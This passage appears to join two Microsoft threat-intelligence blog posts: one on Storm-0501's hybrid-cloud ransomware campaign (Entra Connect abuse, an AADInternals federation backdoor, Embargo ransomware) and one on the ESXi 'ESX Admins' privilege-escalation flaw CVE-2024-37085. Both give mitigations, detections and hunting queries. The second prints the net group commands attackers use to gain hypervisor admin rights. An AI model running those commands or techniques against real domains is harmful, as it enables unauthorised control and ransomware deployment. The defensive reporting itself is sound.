We can assess with high confidence that in the recent Storm-0501 campaign, the threat actor specifically located Microsoft Entra Connect Sync servers and managed to extract the plain text credentials of the Microsoft Entra Connect cloud and on-premises sync accounts. We assess that the threat actor was able to achieve this because of the previous malicious activities described in this blog post, such as using Impacket to steal credentials and DPAPI encryption keys, and tampering with security products.

Following the compromise of the cloud Directory Synchronization Account, the threat actor can authenticate using the clear text credentials and get an access token to Microsoft Graph. The compromise of the Microsoft Entra Connect Sync account presents a high risk to the target, as it can allow the threat actor to set or change Microsoft Entra ID passwords of any hybrid account (on-premises account that is synced to Microsoft Entra ID).

Cloud session hijacking of on-premises user account

Another way to pivot from on-premises to Microsoft Entra ID is to gain control of an on-premises user account that has a respective user account in the cloud. In some of the Storm-0501 cases we investigated, at least one of the Domain Admin accounts that was compromised had a respective account in Microsoft Entra ID, with multifactor authentication (MFA) disabled, and assigned with a Global Administrator role. It is important to mention that the sync service is unavailable for administrative accounts in Microsoft Entra, hence the passwords and other data are not synced from the on-premises account to the Microsoft Entra account in this case. However, if the passwords for both accounts are the same, or obtainable by on-premises credential theft techniques (i.e. web browsers passwords store), then the pivot is possible.

If a compromised on-premises user account is not assigned with an administrative role in Microsoft Entra ID and is synced to the cloud and no security boundaries such as MFA or Conditional Access are set, then the threat actor could escalate to the cloud through the following:

1. If the password is known, then logging in to Microsoft Entra is possible from any device.
2. If the password is unknown, the threat actor can reset the on-premises user password, and after a few minutes the new password will be synced to the cloud.
3. If they hold credentials of a compromised Microsoft Entra Directory Synchronization Account, they can set the cloud password using AADInternals’ Set-AADIntUserPassword cmdlet.

If MFA for that user account is enabled, then authentication with the user will require the threat actor to tamper with the MFA or gain control of a device owned by the user and subsequently hijack its cloud session or extract its Microsoft Entra access tokens along with their MFA claims.

MFA is a security practice that requires users to provide two or more verification factors to gain access to a resource and is a recommended security practice for all users, especially for privileged administrators. A lack of MFA or Conditional Access policies limiting the sign-in options opens a wide door of possibilities for the attacker to pivot to the cloud environment, especially if the user has administrative privileges. To increase the security of admin accounts, Microsoft is rolling out additional tenant-level security measures to require MFA for all Azure users.

Impact

Cloud compromise leading to backdoor

Following a successful pivot from the on-premises environment to the cloud through the compromised Microsoft Entra Connect Sync user account or the cloud admin account compromised through cloud session hijacking, the threat actor was able to connect to Microsoft Entra (portal/MS Graph) from any device, using a privileged Microsoft Entra ID account, such as a Global Administrator, and was no longer limited to the compromised devices.

Once Global Administrator access is available for Storm-0501, we observed them creating a persistent backdoor access for later use by creating a new federated domain in the tenant. This backdoor enables an attacker to sign in as any user of the Microsoft Entra ID tenant in hand if the Microsoft Entra ID user property ImmutableId is known or set by the attackers. For users that are configured to be synced by the Microsoft Entra Connect service, the ImmutableId property is automatically populated, while for users that are not synced the default value is null. However, users with administrative privileges can add an ImmutableId value, regardless.

The threat actor used the open-source tool AADInternals, and its Microsoft Entra ID capabilities to create the backdoor. AADInternals is a PowerShell module designed for security researchers and penetration testers that provides various methods for interacting and testing Microsoft Entra ID and is commonly used by Storm-0501. To create the backdoor, the threat actor first needed to have a domain of their own that is registered to Microsoft Entra ID. The attacker’s next step is to determine whether the target domain is managed or federated. A federated domain in Microsoft Entra ID is a domain that is configured to use federation technologies, such as Active Directory Federation Services (AD FS), to authenticate users. If the target domain is managed, then the attackers need to convert it to a federated one and provide a root certificate to sign future tokens upon user authentication and authorization processes. If the target domain is already federated, then the attackers need to add the root certificate as “NextSigningCertificate”.

Once a backdoor domain is available for use, the threat actor creates a federation trust between the compromised tenant, and their own tenant. The threat actor uses the AADInternals commands that enable the creation of Security Assertion Markup Language (SAML or SAML2) tokens, which can be used to impersonate any user in the organization and bypass MFA to sign in to any application. Microsoft observed the actor using the SAML token sign in to Office 365.

On-premises compromise leading to ransomware

Once the threat actor achieved sufficient control over the network, successfully extracted sensitive files, and managed to move laterally to the cloud environment, the threat actor then deployed the Embargo ransomware across the organization. We observed that the threat actor did not always resort to ransomware distribution, and in some cases only maintained backdoor access to the network.

Embargo ransomware is a new strain developed in Rust, known to use advanced encryption methods. Operating under the RaaS model, the ransomware group behind Embargo allows affiliates like Storm-0501 to use its platform to launch attacks in exchange for a share of the ransom. Embargo affiliates employ double extortion tactics, where they first encrypt a victim’s files and threaten to leak stolen sensitive data unless a ransom is paid.

In the cases observed by Microsoft, the threat actor leveraged compromised Domain Admin accounts to distribute the Embargo ransomware via a scheduled task named “SysUpdate” that was registered via GPO on the devices in the network. The ransomware binaries names that were used were PostalScanImporter.exe and win.exe. Once the files on the target devices were encrypted, the encrypted files extension changed to .partial, .564ba1, and .embargo.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync as part of ongoing security hardening. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks.

Customers may also refer to Microsoft’s human-operated ransomware overview for general hardening recommendations against ransomware attacks.

The other techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID environments to slow and stop attackers.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID sync accounts from untrusted IP addresses to all cloud apps. The Microsoft Entra ID sync account is identified by having the role ‘Directory Synchronization Accounts’. Please refer to the Advanced Hunting section and check the relevant query to get those IP addresses.
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Follow Microsoft’s best practices for securing Active Directory Federation Services.  
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Azure AD environment can be found by referring.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID sync account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based conditional access policies to remediate risky sign-ins.
• Turn on tamper protection features to prevent attackers from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Refer to the recommendations in our attacker technique profile, including use of Windows Defender Application Control or AppLocker to create policies to block unapproved information technology (IT) management tools to protect against the abuse of legitimate remote management tools like AnyDesk or Level.io.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Detection details

Alerts with the following names can be in use when investigating the current campaign of Storm-0501.

Microsoft Defender XDR detections

Microsoft Defender Antivirus 

Microsoft Defender Antivirus detects the Cobalt Strike Beacon as the following:

• Behavior:Win32/CobaltStrike
• Backdoor:Win64/CobaltStrike
• HackTool:Win64/CobaltStrike

Additional Cobalt Strike components are detected as the following:

• TrojanDropper:PowerShell/Cobacis
• Trojan:Win64/TurtleLoader.CS
• Exploit:Win32/ShellCode.BN

Microsoft Defender Antivirus detects tools that enable Microsoft Entra ID enumeration as the following malware: 

• Backdoor:Win32/SuspAadInternalsUsage

Embargo Ransomware threat components are detected as the following:

• Ransom:Win32/Embargo

Microsoft Defender for Endpoint 

Alerts with the following titles in the security center can indicate threat activity related to Storm-0501 on your network:

• Ransomware-linked Storm-0501 threat actor detected

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. 

• Possible Adobe ColdFusion vulnerability exploitation
• Compromised account conducting hands-on-keyboard attack
• Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike)
• Ongoing hands-on-keyboard attack via Impacket toolkit
• Suspicious Microsoft Defender Antivirus exclusion
• Attempt to turn off Microsoft Defender Antivirus protection
• Renaming of legitimate tools for possible data exfiltration
• BlackCat ransomware
• ‘Embargo’ ransomware was detected and was active
• Suspicious Group Policy action detected
• An active ‘Embargo’ ransomware was detected

The following alerts might indicate on-premises to cloud pivot through Microsoft Entra Connect:

• Entra Connect Sync credentials extraction attempt
• Suspicious cmdlets launch using AADInternals
• Potential Entra Connect Tampering
• Indication of local security authority secrets theft

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate activity related to this threat:

• Data exfiltration over SMB
• Suspected DCSync attack

Microsoft Defender for Cloud Apps

Microsoft Defender for Cloud Apps can detect abuse of permissions in Microsoft Entra ID and other cloud apps. Activities related to the Storm-0501 campaign described in this blog are detected as the following:

• Backdoor creation using AADInternals tool
• Compromised Microsoft Entra ID Cloud Sync account
• Suspicious sign-in to Microsoft Entra Connect Sync account
• Entra Connect Sync account suspicious activity following a suspicious login
• AADInternals tool used by a Microsoft Entra Sync account
• Suspicious login from AADInternals tool

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2022-47966

Threat intelligence reports 

Microsoft customers can use the following reports in Microsoft Defender Threat Intelligence to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments: 

• Storm-0501

Advanced hunting 

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Microsoft Entra Connect Sync account exploration

Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related.

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

Usually, the activity of the sync account is repetitive, coming from the same IP address to the same application, any deviation from the natural flow is worth investigating. Cloud applications that normally accessed by the Microsoft Entra ID sync account are “Microsoft Azure Active Directory Connect”, “Windows Azure Active Directory”, “Microsoft Online Syndication Partner Portal”

Explore the cloud activity (a.k.a ActionType) of the sync account, same as above, this account by nature performs a certain set of actions including ‘update User.’, ‘update Device.’ and so on. New and uncommon activity from this user might indicate an interactive use of the account, even though it could have been from someone inside the organization it could also be the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Check which IP addresses Microsoft Entra Connect Sync account uses

This query reveals all IP addresses that the default Microsoft Entra Connect Sync account uses so those could be added as trusted IP addresses for the Entra ID sync account (make sure the account is not compromised before relying on this list)

IdentityLogonEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| where ActionType == "LogonSuccess"
| distinct IPAddress
| union (CloudAppEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| distinct IPAddress)
| distinct IPAddress

Federation and authentication domain changes

Explore the addition of a new authentication or federation domain, validate that the new domain is valid one and was purposefully added

CloudAppEvents
| where Timestamp > ago(30d)
| where ActionType in ("Set domain authentication.", "Set federation settings on domain.")

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Assess your environment for Manage Engine, Netscaler, and ColdFusion vulnerabilities.

DeviceTvmSoftwareVulnerabilities  
| where CveId in ("CVE-2022-47966","CVE-2023-4966","CVE-2023-29300","CVE-2023-38203")   
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Search for file IOC

let selectedTimestamp = datetime(2024-09-17T00:00:00.0000000Z);
let fileName = dynamic(["PostalScanImporter.exe","win.exe","name.dll","248.dll","cs240.dll","fel.ocx","theme.ocx","hana.ocx","obfs.ps1","recon.ps1"]); 
let FileSHA256 = dynamic(["efb2f6452d7b0a63f6f2f4d8db49433259249df598391dd79f64df1ee3880a8d","a9aeb861817f3e4e74134622cbe298909e28d0fcc1e72f179a32adc637293a40","caa21a8f13a0b77ff5808ad7725ff3af9b74ce5b67426c84538b8fa43820a031","53e2dec3e16a0ff000a8c8c279eeeca8b4437edb8ec8462bfbd9f64ded8072d9","827f7178802b2e92988d7cff349648f334bc86317b0b628f4bb9264285fccf5f","ee80f3e3ad43a283cbc83992e235e4c1b03ff3437c880be02ab1d15d92a8348a","de09ec092b11a1396613846f6b082e1e1ee16ea270c895ec6e4f553a13716304","d065623a7d943c6e5a20ca9667aa3c41e639e153600e26ca0af5d7c643384670","c08dd490860b54ae20fa9090274da9ffa1ba163f00d1e462e913cf8c68c11ac1"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from September 17th runs the search for 90 days, change the selectedTimestamp accordingly. and  (FileName in (fileName) or OldFileName in (fileName)  or ProfileName in (fileName)  or InitiatingProcessFileName in (fileName)  or InitiatingProcessParentFileName in (fileName)  or InitiatingProcessVersionInfoInternalFileName in (fileName)  or InitiatingProcessVersionInfoOriginalFileName in (fileName)  or PreviousFileName in (fileName)  or ProcessVersionInfoInternalFileName in (fileName) or ProcessVersionInfoOriginalFileName in (fileName) or DestinationFileName in (fileName) or SourceFileName in (fileName)or ServiceFileName in (fileName) or SHA256 in (FileSHA256)  or InitiatingProcessSHA256 in (FileSHA256))

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog, in addition to Microsoft Defender XDR detections list above.

• Remote Management Monitoring Network Connections
• Level.io RMM File Signature
• AnyDesk RMM File Signature
• NinjaOne RMM File Signature
• Potential Impacket Execution
• Potential ransomware activity related to Cobalt Strike
• Cobalt DNS Beacon
• C2-NamedPipe
• Renamed Rclone Exfiltration
• Disable Or Modify Windows Defender
• Clearing of forensic evidence from event logs using wevtutil
• Suspicious Signin By AAD Connect Account

Indicators of compromise (IOCs)

The following list provides indicators of compromise (IOCs) observed during our investigation. We encourage our customers to investigate these indicators within their environments and implement detections and protections to identify any past related activity and prevent future attacks against their systems.

References

• The Rust Revolution: New Embargo Ransomware Steps In – Cyble
• Embargo Ransomware Group: The Interview (suspectfile.com)
• https://aadinternals.com/post/aadbackdoor/
• https://aadinternals.com/post/aad-deepdive/

Omri Refaeli, Tafat Gaspar, Vaibhav Deshmukh, Naya Hashem, Charles-Edouard Bettan

Microsoft Threat Intelligence Community

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Storm-0501: Ransomware attacks expanding to hybrid cloud environments appeared first on Microsoft Security Blog.

The vulnerability, identified as CVE-2024-37085, involves a domain group whose members are granted full administrative access to the ESXi hypervisor by default without proper validation. Microsoft disclosed the findings to VMware through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR), and VMWare released a security update. Microsoft recommends ESXi server administrators to apply the updates released by VMware to protect their servers from related attacks, and to follow the mitigation and protection guidance we provide in this blog post. We thank VMWare for their collaboration in addressing this issue.

This blog post presents analysis of the CVE-2024-37085, as well as details of an attack that was observed by Microsoft to exploit the vulnerability. We’re sharing this research to emphasize the importance of collaboration among researchers, vendors, and the security community to continuously advance defenses for the larger ecosystem. As part of Microsoft’s commitment to improve security for all, we will continue to share intelligence and work with the security community to help protect users and organizations across platforms.

CVE-2024-37085 vulnerability analysis

Microsoft security researchers identified a new post-compromise technique utilized by ransomware operators like Storm-0506, Storm-1175, Octo Tempest, and Manatee Tempest in numerous attacks. In several cases, the use of this technique has led to Akira and Black Basta ransomware deployments. The technique includes running the following commands, which results in the creation of a group named “ESX Admins” in the domain and adding a user to it:

net group “ESX Admins” /domain /add

net group “ESX Admins” username /domain /add

While investigating the attacks and the described behavior, Microsoft researchers discovered that the threat actors’ purpose for using this command was to utilize a vulnerability in domain-joined ESXi hypervisors that allows the threat actor to elevate their privileges to full administrative access on the ESXi hypervisor. This finding was reported as part of a vulnerability disclosure to VMware earlier this year.

Further analysis of the vulnerability revealed that VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named “ESX Admins” to have full administrative access by default. This group is not a built-in group in Active Directory and does not exist by default. ESXi hypervisors do not validate that such a group exists when the server is joined to a domain and still treats any members of a group with this name with full administrative access, even if the group did not originally exist. Additionally, the membership in the group is determined by name and not by security identifier (SID).

Microsoft researchers identified three methods for exploiting this vulnerability:

1. Adding the “ESX Admins” group to the domain and adding a user to it – This method is actively exploited in the wild by the abovementioned threat actors. In this method, if the “ESX Admins” group doesn’t exist, any domain user with the ability to create a group can escalate privileges to full administrative access to domain-joined ESXi hypervisors by creating such a group, and then adding themselves, or other users in their control, to the group.
2. Renaming any group in the domain to “ESX Admins” and adding a user to the group or use an existing group member – This method is similar to the first, but in this case the threat actor needs a user that has the capability to rename some arbitrary groups and rename one of them to “ESX Admins”. The threat actor can then add a user or use a user that already exists in the group, to escalate privileges to full administrative access. This method was not observed in the wild by Microsoft.
3. ESXi hypervisor privileges refresh – Even if the network administrator assigns any other group in the domain to be the management group for the ESXi hypervisor, the full administrative privileges to members of the “ESX Admins” group are not immediately removed and threat actors still could abuse it. This method was not observed in the wild by Microsoft.

Successful exploitation leads to full administrative access to the ESXi hypervisors, allowing threat actors to encrypt the file system of the hypervisor, which could affect the ability of the hosted servers to run and function. It also allows the threat actor to access hosted VMs and possibly to exfiltrate data or move laterally within the network.

Ransomware operators targeting ESXi hypervisors

Over the last year, we have seen ransomware actors targeting ESXi hypervisors to facilitate mass encryption impact in few clicks, demonstrating that ransomware operators are constantly innovating their attack techniques to increase impact on the organizations they target.

ESXi is a popular product in many corporate networks, and in recent years, we have observed ESXi hypervisors become a favored target for threat actors. These hypervisors could be convenient targets if ransomware operators want to stay under the SOC’s radar because of the following factors:

1. Many security products have limited visibility and protection for an ESXi hypervisor.
2. Encrypting an ESXi hypervisor file system allows one-click mass encryption, as hosted VMs are impacted. This could provide ransomware operators with more time and complexity in lateral movement and credential theft on each device they access.

Therefore, many ransomware threat actors like Storm-0506, Storm-1175, Octo Tempest, Manatee Tempest, and others support or sell ESXi encryptors like Akira, Black Basta, Babuk, Lockbit, and Kuiper (Figure 1). The number of Microsoft Incident Response (Microsoft IR) engagements that involved the targeting and impacting ESXi hypervisors have more than doubled in the last three years.

Storm-0506 Black Basta ransomware deployment

Earlier this year, an engineering firm in North America was affected by a Black Basta ransomware deployment by Storm-0506. During this attack, the threat actor used the CVE-2024-37085 vulnerability to gain elevated privileges to the ESXi hypervisors within the organization.

The threat actor gained initial access to the organization via Qakbot infection, followed by the exploitation of a Windows CLFS vulnerability (CVE-2023-28252) to elevate their privileges on affected devices. The threat actor then used Cobalt Strike and Pypykatz (a Python version of Mimikatz) to steal the credentials of two domain administrators and to move laterally to four domain controllers.

On the compromised domain controllers, the threat actor installed persistence mechanisms using custom tools and a SystemBC implant. The actor was also observed attempting to brute force Remote Desktop Protocol (RDP) connections to multiple devices as another method for lateral movement, and then again installing Cobalt Strike and SystemBC. The threat actor then tried to tamper with Microsoft Defender Antivirus using various tools to avoid detection.

Microsoft observed that the threat actor created the “ESX Admins” group in the domain and added a new user account to it, following these actions, Microsoft observed that this attack resulted in encrypting of the ESXi file system and losing functionality of the hosted virtual machines on the ESXi hypervisor.   The actor was also observed to use PsExec to encrypt devices that are not hosted on the ESXi hypervisor. Microsoft Defender Antivirus and automatic attack disruption in Microsoft Defender for Endpoint were able to stop these encryption attempts in devices that had the unified agent for Defender for Endpoint installed.

Mitigation and protection guidance

Microsoft recommends organizations that use domain-joined ESXi hypervisors to apply the security update released by VMware to address CVE-2024-37085. The following guidelines will also help organizations protect their network from attacks:

• Install software updates – Make sure to install the latest security updates released by VMware on all domain-joined ESXi hypervisors. If installing software updates is not possible, you can use the following recommendations to reduce the risk:
  • Validate the group “ESX Admins” exists in the domain and is hardened.
  • Manually deny access by this group by changing settings in the ESXi hypervisor itself. If full admin access for the Active Directory ESX admins group is not desired, you can disable this behavior using the advanced host setting: ‘Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd’.
  • Change the admin group to a different group in the ESXi hypervisor.
  • Add custom detections in XDR/SIEM for the new group name.  
  • Configure sending ESXi logs to a SIEM system and monitor suspicious full administrative access.
• Credential hygiene – To utilize the different vulnerability methods, threat actors require control of a highly privileged user in the organization. Therefore, our recommendation is making sure to protect your highly privileged accounts in the organization, especially those that can manage other domain groups:
  • Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, always.
  • Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Isolate privileged accounts from productivity accounts to protect administrative access to the environment. Refer to this article to understand best practices.
• Improve critical assets posture – Identify your critical assets in the network, such as  ESXi hypervisors and vCenters (a centralized platform for controlling VMware vSphere environments), and make sure to get them protected with latest security updates, proper monitoring procedures and backup and recovery plans. More information can be found in this article.
• Identify vulnerable assets – Use Microsoft Defender Vulnerability Management to reduce risk with continuous vulnerability assessment of ESXi hypervisor out of the box.

Microsoft Defender XDR detections

Microsoft Defender for Endpoint             

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Suspicious modifications to ESX Admins group

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• New group added suspiciously
• Suspicious Windows account manipulation
• Compromised account conducting hands-on-keyboard attack

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate associated threat activity:

• Suspicious creation of ESX group

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft Defender Threat Intelligence to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Storm-0506
• Storm-1175
• Octo Tempest 
• Manatee Tempest
• Akira
• Black Basta

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks

This query identifies ESXi hypervisors in the organization:

DeviceInfo
| where OSDistribution =~ "ESXi"
| summarize arg_max(Timestamp, *) by DeviceId

This query identifies ESX Admins group changes in the Active directory:

IdentityDirectoryEvents
| where Timestamp >= ago(30d)
| where AdditionalFields has ('esx admins')

The following queries are for assessing the already discovered ESXi with the Microsoft Defender Vulnerability Management information:

DeviceInfo
| where OSDistribution =~ "ESXi"
| summarize arg_max(Timestamp, *) by DeviceId
| join kind=inner (DeviceTvmSoftwareVulnerabilities) on DeviceId
DeviceInfo
| where OSDistribution =~ "ESXi"
| summarize arg_max(Timestamp, *) by DeviceId
| join kind=inner (DeviceTvmSecureConfigurationAssessment) on DeviceId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Microsoft Sentinel also has a range of hunting queries available in Sentinel GitHub repo or as part of Sentinel solutions that customers can use to detect the activity detailed in this blog in addition to Microsoft Defender detections. These hunting queries include the following:

Qakbot:

• Qakbot hunting queries

Cobalt Strike:

• Cobalt Strike DNS Beaconing
• Potential ransomware activity related to Cobalt Strike
• Suspicious named pipes
• Cobalt Strike Invocation using WMI

References

• https://knowledge.broadcom.com/external/article?legacyId=1025569
• https://core.vmware.com/vmware-vsphere-8-security-configuration-guide
• https://blogs.vmware.com/vsphere/2012/09/joining-vsphere-hosts-to-active-directory.html
• https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
• https://www.sygnia.co/blog/esxi-ransomware-attacks/?blaid=6088911https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/
• https://www.darkreading.com/cloud-security/agenda-ransomware-vmware-esxi-servers
• https://blog.checkpoint.com/2023/02/06/massive-ransomware-attack-targets-vmware-esxi-servers/amp/
• https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/amp/

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Ransomware operators exploit ESXi hypervisor vulnerability for mass encryption appeared first on Microsoft Security Blog.